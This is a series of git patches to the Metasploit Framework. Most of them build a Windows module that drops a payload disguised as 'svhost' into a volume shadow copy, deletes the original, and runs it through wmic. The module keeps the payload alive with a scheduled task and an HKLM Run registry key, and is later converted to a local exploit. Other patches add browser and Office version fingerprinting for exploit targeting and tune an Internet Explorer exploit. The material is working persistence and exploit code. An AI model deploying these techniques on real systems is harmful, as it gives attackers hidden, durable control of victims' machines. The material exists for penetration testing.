- write_to_reg("HKLM", "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}") - end - - def log_file(log_path = nil) - host = session.sys.config.sysinfo["Computer"] - filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") - if log_path - logs = ::File.join(log_path, 'logs', 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + nam = Rex::Text.rand_text_alpha(rand(8)+8) + hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{hklm_key}\\#{nam}") + if nam + registry_setvaldata("#{hklm_key}",nam,path_to_exe,"REG_SZ") + print_good("Installed into autorun as #{hklm_key}\\#{nam}") + @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" else - logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + print_error("Error: failed to open the registry key for writing") end - ::FileUtils.mkdir_p(logs) - logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" - return logfile + else + return end - - clean_rc = log_file() - file_local_write(clean_rc,@clean_up) - print_status("Cleanup Meterpreter RC File: #{clean_rc}") - return file_on_target end - def run - print_good("Uploading Payload to machine.") - upload(session,"#{datastore['PATH']}","#{datastore['RPATH']}") + def clean_data + host = session.sys.config.sysinfo["Computer"] + filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S") + logs = ::File.join(Msf::Config.log_directory, 'persistence', Rex::FileUtils.clean_path(host + filenameinfo) ) + ::FileUtils.mkdir_p(logs) + logfile = logs + ::File::Separator + Rex::FileUtils.clean_path(host + filenameinfo) + ".rc" + return logfile end + def log_file + clean_rc = clean_data() + file_local_write(clean_rc, @clean_up) + print_status("Cleanup Meterpreter RC File: #{clean_rc}") + end end From 17e5c63f7f75eb7335a8c0bc1078b8d174c909a4 Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 00:29:24 -0700 Subject: [PATCH 09/34] removed debugging prompts --- modules/post/windows/manage/vss_persistence.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 58933875a6..61b50b0d52 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -73,7 +73,6 @@ class Metasploit4 < Msf::Post cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - print_good("#{volume_data_id}") execute_executable(volume_data_id, @location, @file_name) schtasks(volume_data_id, @location, @file_name) regkey(@glogal_location) From fc62b4c4eda8ece150d28ba83662f691e5a7b76c Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 09:16:54 -0700 Subject: [PATCH 10/34] removed global var from file_on_target and useless code --- modules/post/windows/manage/vss_persistence.rb | 11 ++++------- 1 file changed, 4 insertions(+), 7 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 61b50b0d52..a76f78a231 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -82,7 +82,7 @@ class Metasploit4 < Msf::Post def upload(session, file, trgloc="") @location = "" @file_name = "" - @file_on_target = "" + file_on_target = "" @clean_up = "" if not ::File.exists?(file) raise "File to Upload does not exists!" @@ -92,14 +92,11 @@ class Metasploit4 < Msf::Post else @location = trgloc end - ext = file[file.rindex(".") .. -1] - if ext and ext.downcase == ".exe" - @file_name = "svhost#{rand(100)}.exe" - @file_on_target = "#{@location}\\#{@file_name}" - end + @file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{@location}\\#{@file_name}" print_status("Uploading #{file}....") begin - upload_file("#{@file_on_target}","#{file}") + upload_file("#{file_on_target}","#{file}") rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end From 488ed5bd4abc73af58ec2ae5da808f3632562321 Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 13:41:26 -0500 Subject: [PATCH 11/34] Add new feature detection logic for FF 23 and 24. --- lib/rex/exploitation/javascriptosdetect.js | 13 ++++++++++++- 1 file changed, 12 insertions(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index eabe23c33a..a83aa8207c 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -52,6 +52,12 @@ window.os_detect.getVersion = function(){ return d.style[propCamelCase] === css; } + var input_type_is_valid = function(input_type) { + var input = document.createElement('input'); + input.setAttribute('type', input_type); + return input.type == input_type; + } + //-- // Client //-- @@ -203,7 +209,12 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('HTMLTimeElement' in window) { + if ('DeviceStorage' in window && 'default' in window.DeviceStorage) { + // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 + ua_version = '24.0' + } else if (input_type_is_valid('range')) { + ua_version = '23.0' + } else if ('HTMLTimeElement' in window) { ua_version = '22.0' } else if ('createElement' in document && document.createElement('main') && From 20a145f1e763406e911d5f4985c5802dfd19d04b Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 13:51:45 -0500 Subject: [PATCH 12/34] Check for prop in prototype, not constructor. --- lib/rex/exploitation/javascriptosdetect.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index a83aa8207c..abe54d04fc 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -209,7 +209,7 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('DeviceStorage' in window && 'default' in window.DeviceStorage) { + if ('DeviceStorage' in window && 'default' in window.DeviceStorage.prototype) { // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 ua_version = '24.0' } else if (input_type_is_valid('range')) { From 183940308b41e10caacb17ec20de42820472a337 Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 13:55:54 -0500 Subject: [PATCH 13/34] Add another nil check, just to be safe. --- lib/rex/exploitation/javascriptosdetect.js | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index abe54d04fc..913c369100 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -209,7 +209,8 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if ('DeviceStorage' in window && 'default' in window.DeviceStorage.prototype) { + if ('DeviceStorage' in window && window.DeviceStorage && + 'default' in window.DeviceStorage.prototype) { // https://bugzilla.mozilla.org/show_bug.cgi?id=874213 ua_version = '24.0' } else if (input_type_is_valid('range')) { From 711fac08b75038451b8b999287f4a88772de079c Mon Sep 17 00:00:00 2001 From: joev Date: Mon, 14 Oct 2013 14:15:13 -0500 Subject: [PATCH 14/34] Don't throw exception if createElement is missing. --- lib/rex/exploitation/javascriptosdetect.js | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/rex/exploitation/javascriptosdetect.js b/lib/rex/exploitation/javascriptosdetect.js index 913c369100..24f41fedc8 100644 --- a/lib/rex/exploitation/javascriptosdetect.js +++ b/lib/rex/exploitation/javascriptosdetect.js @@ -53,6 +53,7 @@ window.os_detect.getVersion = function(){ } var input_type_is_valid = function(input_type) { + if (!document.createElement) return false; var input = document.createElement('input'); input.setAttribute('type', input_type); return input.type == input_type; From d444ed054f7c6798633f22cde7ed1f4d19b0adde Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 19:36:44 -0700 Subject: [PATCH 15/34] Fixed RUNKEY, Fixed SCHTASKS, merged code --- .../post/windows/manage/vss_persistence.rb | 173 ++++++++++-------- 1 file changed, 96 insertions(+), 77 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index a76f78a231..4419b120ac 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -28,79 +28,117 @@ class Metasploit4 < Msf::Post This module will attempt to create a persistant payload in new volume shadow copy.This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. - Works on win2k3 and later. - }, + This module has been tested successfully on Windows 7. + }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], 'Author' => ['MrXors '], 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], - [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows']] + [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'] + ] )) + register_options( [ OptString.new('VOLUME', [ true, 'Volume to make a copy of.', 'C:\\']), - OptBool.new('EXECUTE', [ true, 'Run the .exe on the remote system.', true]), - OptBool.new('SCHTASK', [ false, 'Create a schtask.exe for EXE.', false]), - OptBool.new('RUNKEY', [ false, 'Create AutoRun Key on HKLM\Software\Microsoft\Windows\CurrentVersion\Run .', false]), - OptInt.new('DELAY', [ false, 'Delay in Minutes for Reconnect attempt.Needs SCHTASK set to true to work.default delay is 1 minute.', 1]), - OptString.new('RPATH', [ false, 'Path on remote system to place Executable.Example \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), + OptBool.new('EXECUTE', [ true, 'Run the EXE on the remote system.', true]), + OptBool.new('SCHTASK', [ true, 'Create a Scheduled Task for the EXE.', false]), + OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), + OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), + OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) + end def run - path = "#{datastore['PATH']}" + path = datastore['PATH'] + @clean_up = "" + + print_status("Checking requirements...") + + os = sysinfo['OS'] + unless os =~ /Windows 7/ + print_error("This module has been tested only on Windows 7") + return + end + unless is_admin? print_error("This module requires admin privs to run") return end + if is_uac_enabled? print_error("This module requires UAC to be bypassed first") return end + + print_status("Starting Volume Shadow Service...") unless start_vss + print_error("Unable to start the Volume Shadow Service") return end - upload(session, path, datastore['RPATH']) - volume_shadow_copy - delete_executable(@location, @file_name) - cmd = "cmd.exe /c vssadmin List Shadows\| find \"Shadow Copy Volume\"" + + print_status("Uploading #{path}....") + remote_file = upload(path, datastore['RPATH']) + + print_status("Creating Shadow Volume Copy...") + unless volume_shadow_copy + fail_with(Failure::Unknown, "Failed to create a new shadow copy") + end + + print_status("Finding the Shadow Copy Volume...") volume_data_id = [] + cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\"" output = cmd_exec(cmd) + output.each_line do |line| cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" end - execute_executable(volume_data_id, @location, @file_name) - schtasks(volume_data_id, @location, @file_name) - regkey(@glogal_location) - log_file + + print_status("Deleting malware...") + file_rm(remote_file) + + if datastore["EXECUTE"] + print_status("Executing #{remote_file}...") + execute(volume_data_id, remote_file) + end + + if datastore["SCHTASK"] + print_status("Creating Scheduled Task...") + schtasks(volume_data_id, remote_file) + end + + if datastore["RUNKEY"] + print_status("Installing as autorun in the registry...") + install_registry(volume_data_id, remote_file) + end + + unless @clean_up.empty? + log_file + end end - def upload(session, file, trgloc="") - @location = "" - @file_name = "" - file_on_target = "" - @clean_up = "" - if not ::File.exists?(file) - raise "File to Upload does not exists!" + def upload(file, trg_loc="") + if trg_loc.nil? or trg_loc.empty? + location = "\\Windows\\Temp" else - if trgloc == "" - @location = "\\Windows\\Temp" - else - @location = trgloc - end - @file_name = "svhost#{rand(100)}.exe" - file_on_target = "#{@location}\\#{@file_name}" - print_status("Uploading #{file}....") - begin - upload_file("#{file_on_target}","#{file}") - rescue ::Rex::Post::Meterpreter::RequestError => e - fail_with(Failure::NotFound, e.message) - end + location = trg_loc end + + file_name = "svhost#{rand(100)}.exe" + file_on_target = "#{location}\\#{file_name}" + + begin + upload_file("#{file_on_target}","#{file}") + rescue ::Rex::Post::Meterpreter::RequestError => e + fail_with(Failure::NotFound, e.message) + end + + return file_on_target end def volume_shadow_copy @@ -109,58 +147,38 @@ class Metasploit4 < Msf::Post rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end + if id - print_good("Shadow Volume Copy Created #{id}") return true else return false end end - def delete_executable(location, file_name) - print_good("Deleting Malware #{location}\\#{file_name}!") - delete_test = file_rm("#{location}\\#{file_name}") - print_good("Clean Up Complete.") + def execute(volume_id, exe_path) + run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}" + cmd_exec(run_cmd) end - def execute_executable(volume_id, exe_path, exe_name) - @glogal_location = "\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" - if datastore["EXECUTE"] - print_good("Running Executable!") - run_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\\#{exe_name}" - run_malware = cmd_exec(run_cmd) - else - return - end + def schtasks(volume_id, exe_path) + sch_name = Rex::Text.rand_text_alpha(rand(8)+8) + global_root = "\"\\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}\"" + sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" + cmd_exec(sch_cmd) + @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" end - def schtasks(volume_data_id, location, file_name) - if datastore["SCHTASK"] - sch_name = Rex::Text.rand_text_alpha(rand(8)+8) - print_good("Creating Service..........") - global_root = "\\\\?\\GLOBALROOT\\Device\\#{volume_data_id}\\#{location}\\#{file_name}" - sch_cmd = "cmd.exe /c %SYSTEMROOT%\\system32\\schtasks.exe /create /sc minute /mo #{datastore["DELAY"]} /tn \"#{sch_name}\" /tr #{global_root}" - service_malware_go = cmd_exec(sch_cmd) - @clean_up << "execute -H -f cmd.exe -a \"/c schtasks.exe /delete /tn #{sch_name} /f\"\n" + def install_registry(volume_id, exe_path) + global_root = "cmd.exe /c %SYSTEMROOT%\\system32\\wbem\\wmic.exe process call create \\\\?\\GLOBALROOT\\Device\\#{volume_id}\\#{exe_path}" + nam = Rex::Text.rand_text_alpha(rand(8)+8) + hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" + print_status("Installing into autorun as #{hklm_key}\\#{nam}") + res = registry_setvaldata("#{hklm_key}", nam, "#{global_root}", "REG_SZ") + if res + print_good("Installed into autorun as #{hklm_key}\\#{nam}") + @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" else - return - end - end - - def regkey(path_to_exe) - if datastore["RUNKEY"] - nam = Rex::Text.rand_text_alpha(rand(8)+8) - hklm_key = "HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run" - print_status("Installing into autorun as #{hklm_key}\\#{nam}") - if nam - registry_setvaldata("#{hklm_key}",nam,path_to_exe,"REG_SZ") - print_good("Installed into autorun as #{hklm_key}\\#{nam}") - @clean_up << "reg deleteval -k HKLM\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run -v #{nam}\n" - else - print_error("Error: failed to open the registry key for writing") - end - else - return + print_error("Error: failed to open the registry key for writing") end end @@ -178,4 +196,5 @@ class Metasploit4 < Msf::Post file_local_write(clean_rc, @clean_up) print_status("Cleanup Meterpreter RC File: #{clean_rc}") end + end From 6a1b1f35a8e427c0f40354293d7186235868a7d2 Mon Sep 17 00:00:00 2001 From: MrXors Date: Mon, 14 Oct 2013 19:41:10 -0700 Subject: [PATCH 16/34] Msftidy done. --- modules/post/windows/manage/vss_persistence.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 4419b120ac..34e3da400f 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -93,7 +93,6 @@ class Metasploit4 < Msf::Post volume_data_id = [] cmd = "cmd.exe /c vssadmin List Shadows| find \"Shadow Copy Volume\"" output = cmd_exec(cmd) - output.each_line do |line| cmd_regex = /HarddiskVolumeShadowCopy\d{1,9}/.match("#{line}") volume_data_id = "#{cmd_regex}" From 18b4f80ca94a751ae5177c7385cc272b200af0f2 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 09:56:18 -0500 Subject: [PATCH 17/34] Add minor cleanup for vss_persistence --- modules/post/windows/manage/vss_persistence.rb | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index 34e3da400f..e95c8638eb 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -7,14 +7,10 @@ require 'msf/core' require 'rex' -require 'msf/core/post/windows/shadowcopy' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' class Metasploit4 < Msf::Post include Msf::Post::File - include Msf::Post::Common include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy include Msf::Post::Windows::Services @@ -25,10 +21,10 @@ class Metasploit4 < Msf::Post super(update_info(info, 'Name' => "Persistant Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload - in new volume shadow copy.This is based on the VSSOwn - Script originally posted by Tim Tomes and Mark Baggett. - This module has been tested successfully on Windows 7. + This module will attempt to create a persistant payload in new volume shadow copy. This is + based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has + been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY + option, the user should need password in order to start session on the target machine. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], From 3b7be50d50f53e9c8e0815616fd01ccc2409a1b6 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 10:03:00 -0500 Subject: [PATCH 18/34] Fix typos --- modules/post/windows/manage/vss_persistence.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/post/windows/manage/vss_persistence.rb index e95c8638eb..1945275477 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/post/windows/manage/vss_persistence.rb @@ -19,9 +19,9 @@ class Metasploit4 < Msf::Post def initialize(info={}) super(update_info(info, - 'Name' => "Persistant Payload in Windows Volume Shadow Copy", + 'Name' => "Persistent Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistant payload in new volume shadow copy. This is + This module will attempt to create a persistent payload in new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. From 0b9cf24103cede3fbd8840717a3d6c5f671e51cb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 11:11:04 -0500 Subject: [PATCH 19/34] Convert vss_persistence to Local Exploit --- .../windows/local}/vss_persistence.rb | 26 ++++++++++++------- 1 file changed, 16 insertions(+), 10 deletions(-) rename modules/{post/windows/manage => exploits/windows/local}/vss_persistence.rb (93%) diff --git a/modules/post/windows/manage/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb similarity index 93% rename from modules/post/windows/manage/vss_persistence.rb rename to modules/exploits/windows/local/vss_persistence.rb index 1945275477..e3661578b9 100644 --- a/modules/post/windows/manage/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -7,14 +7,17 @@ require 'msf/core' require 'rex' +require 'msf/core/exploit/exe' -class Metasploit4 < Msf::Post +class Metasploit3 < Msf::Exploit::Local + Rank = ExcellentRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy include Msf::Post::Windows::Services include Msf::Post::Windows::Registry + include Msf::Exploit::EXE def initialize(info={}) @@ -26,14 +29,17 @@ class Metasploit4 < Msf::Post been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. }, + 'Author' => ['MrXors '], 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], - 'Author' => ['MrXors '], + 'Targets' => [ [ 'Windows 7', {} ] ], + 'DefaultTarget' => 0, 'References' => [ [ 'URL', 'http://pauldotcom.com/2011/11/safely-dumping-hashes-from-liv.html' ], [ 'URL', 'http://www.irongeek.com/i.php?page=videos/hack3rcon2/tim-tomes-and-mark-baggett-lurking-in-the-shadows'] - ] + ], + 'DisclosureDate'=> "Oct 21 2011" )) register_options( @@ -44,13 +50,11 @@ class Metasploit4 < Msf::Post OptBool.new('RUNKEY', [ true, 'Create AutoRun Key for the EXE', false]), OptInt.new('DELAY', [ true, 'Delay in Minutes for Reconnect attempt. Needs SCHTASK set to true to work. Default delay is 1 minute.', 1]), OptString.new('RPATH', [ false, 'Path on remote system to place Executable. Example: \\\\Windows\\\\Temp (DO NOT USE C:\\ in your RPATH!)', ]), - OptPath.new('PATH', [ true, 'Path to Executable on your local system.']) ], self.class) end - def run - path = datastore['PATH'] + def exploit @clean_up = "" print_status("Checking requirements...") @@ -77,8 +81,8 @@ class Metasploit4 < Msf::Post return end - print_status("Uploading #{path}....") - remote_file = upload(path, datastore['RPATH']) + print_status("Uploading payload...") + remote_file = upload(datastore['RPATH']) print_status("Creating Shadow Volume Copy...") unless volume_shadow_copy @@ -117,7 +121,7 @@ class Metasploit4 < Msf::Post end end - def upload(file, trg_loc="") + def upload(trg_loc="") if trg_loc.nil? or trg_loc.empty? location = "\\Windows\\Temp" else @@ -127,8 +131,10 @@ class Metasploit4 < Msf::Post file_name = "svhost#{rand(100)}.exe" file_on_target = "#{location}\\#{file_name}" + exe = generate_payload_exe + begin - upload_file("#{file_on_target}","#{file}") + write_file("#{file_on_target}", exe) rescue ::Rex::Post::Meterpreter::RequestError => e fail_with(Failure::NotFound, e.message) end From f345414832fe0895e6ed89e70eb57f72a103aeaf Mon Sep 17 00:00:00 2001 From: MrXors Date: Tue, 15 Oct 2013 10:13:18 -0700 Subject: [PATCH 20/34] Added correct spelling in info --- modules/exploits/windows/local/vss_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index e3661578b9..ba55d056da 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Local super(update_info(info, 'Name' => "Persistent Payload in Windows Volume Shadow Copy", 'Description' => %q{ - This module will attempt to create a persistent payload in new volume shadow copy. This is + This module will attempt to create a persistent payload in a new volume shadow copy. This is based on the VSSOwn Script originally posted by Tim Tomes and Mark Baggett. This module has been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. From c68319d09880e19130e9e9141cfe8a2b7b53ac90 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 15 Oct 2013 12:59:19 -0500 Subject: [PATCH 21/34] Fix author --- modules/exploits/windows/local/vss_persistence.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/local/vss_persistence.rb b/modules/exploits/windows/local/vss_persistence.rb index ba55d056da..074ec1b868 100644 --- a/modules/exploits/windows/local/vss_persistence.rb +++ b/modules/exploits/windows/local/vss_persistence.rb @@ -29,7 +29,7 @@ class Metasploit3 < Msf::Exploit::Local been tested successfully on Windows 7. In order to achieve persistence through the RUNKEY option, the user should need password in order to start session on the target machine. }, - 'Author' => ['MrXors '], + 'Author' => ['Jedediah Rodriguez '], # @MrXors 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], From 4c91f2e0f5e93517776ca6dcc4741999a7b7428d Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 15 Oct 2013 16:27:23 -0500 Subject: [PATCH 22/34] Add detection code MS Office Add detection code for MS Office XP, 2003, 2007, 2010, and 2012. [SeeRM #8413] --- lib/msf/core/exploit/http/server.rb | 1 + .../exploitation/javascriptaddonsdetect.js | 51 +++++++++++++++++++ .../exploitation/javascriptaddonsdetect.rb | 29 +++++++++++ 3 files changed, 81 insertions(+) create mode 100644 lib/rex/exploitation/javascriptaddonsdetect.js create mode 100644 lib/rex/exploitation/javascriptaddonsdetect.rb diff --git a/lib/msf/core/exploit/http/server.rb b/lib/msf/core/exploit/http/server.rb index 5a17c1c6ae..af639e8e08 100644 --- a/lib/msf/core/exploit/http/server.rb +++ b/lib/msf/core/exploit/http/server.rb @@ -4,6 +4,7 @@ require 'rex/exploitation/obfuscatejs' require 'rex/exploitation/encryptjs' require 'rex/exploitation/heaplib' require 'rex/exploitation/javascriptosdetect' +require 'rex/exploitation/javascriptaddonsdetect' module Msf diff --git a/lib/rex/exploitation/javascriptaddonsdetect.js b/lib/rex/exploitation/javascriptaddonsdetect.js new file mode 100644 index 0000000000..9f3c9f5608 --- /dev/null +++ b/lib/rex/exploitation/javascriptaddonsdetect.js @@ -0,0 +1,51 @@ +window.addons_detect = { }; + +/** + * Returns the version of Microsoft Office. If not found, returns null. + **/ +window.addons_detect.getMsOfficeVersion = function () { + var version; + var types = new Array(); + for (i=1; i <= 5; i++) { + try { + types[i-1] = typeof(new ActiveXObject("SharePoint.OpenDocuments." + i.toString())); + } + catch (e) { + types[i-1] = null; + } + } + + if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && + types[3] == 'object' && types[4] == 'object') + { + version = "2012"; + } + else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && + types[3] == 'object' && types[4] == null) + { + version = "2010"; + } + else if (types[0] == 'object' && types[1] == 'object' && types[2] == 'object' && + types[3] == null && types[4] == null) + { + version = "2007"; + } + else if (types[0] == 'object' && types[1] == 'object' && types[2] == null && + types[3] == null && types[4] == null) + { + version = "2003"; + } + else if (types[0] == 'object' && types[1] == null && types[2] == null && + types[3] == null && types[4] == null) + { + // If run for the first time, you must manullay allow the "Microsoft Office XP" + // add-on to run. However, this prompt won't show because the ActiveXObject statement + // is wrapped in an exception handler. + version = "xp"; + } + else { + version = null; + } + + return version; +} \ No newline at end of file diff --git a/lib/rex/exploitation/javascriptaddonsdetect.rb b/lib/rex/exploitation/javascriptaddonsdetect.rb new file mode 100644 index 0000000000..0d9be8aa88 --- /dev/null +++ b/lib/rex/exploitation/javascriptaddonsdetect.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +require 'msf/core' +require 'rex/text' +require 'rex/exploitation/jsobfu' + +module Rex +module Exploitation + +# +# Provides javascript functions to determine addon information. +# +# getMsOfficeVersion(): Returns the version for Microsoft Office +# +class JavascriptAddonsDetect < JSObfu + + def initialize(custom_js = '', opts = {}) + @js = custom_js + @js += ::File.read(::File.join(::File.dirname(__FILE__), "javascriptaddonsdetect.js")) + + super @js + + return @js + end + +end +end + +end From ac78f1cc5bb8011e0501c390e7befff761fcff63 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Tue, 15 Oct 2013 23:37:11 -0500 Subject: [PATCH 23/34] Use Base64 encoding for OS parameter I didn't even realize we already added this in server.rb. So instead of just escaping the OS parameter, we also encode the data in base64. I also added prependmigrate to avoid unstable conditions for the payload. --- .../windows/browser/ms13_080_cdisplaypointer.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index cdbd765418..3b46067eea 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -76,6 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { + 'PrependMigrate' => true, 'InitialAutoRunScript' => 'migrate -f' }, 'Privileged' => false, @@ -88,6 +89,7 @@ class Metasploit3 < Msf::Exploit::Remote def get_check_html %Q| @@ -280,7 +282,12 @@ function kaiju() { def on_request_uri(cli, request) if request.uri =~ /search\?o=(.+)\&d=(.+)$/ - target_info = { :os => Rex::Text.uri_decode($1), :dll => Rex::Text.uri_decode($2) } + target_info = + { + :os => Rex::Text.decode_base64(Rex::Text.uri_decode($1)), + :dll => Rex::Text.uri_decode($2) + } + sploit = get_sploit_html(target_info) send_response(cli, sploit, 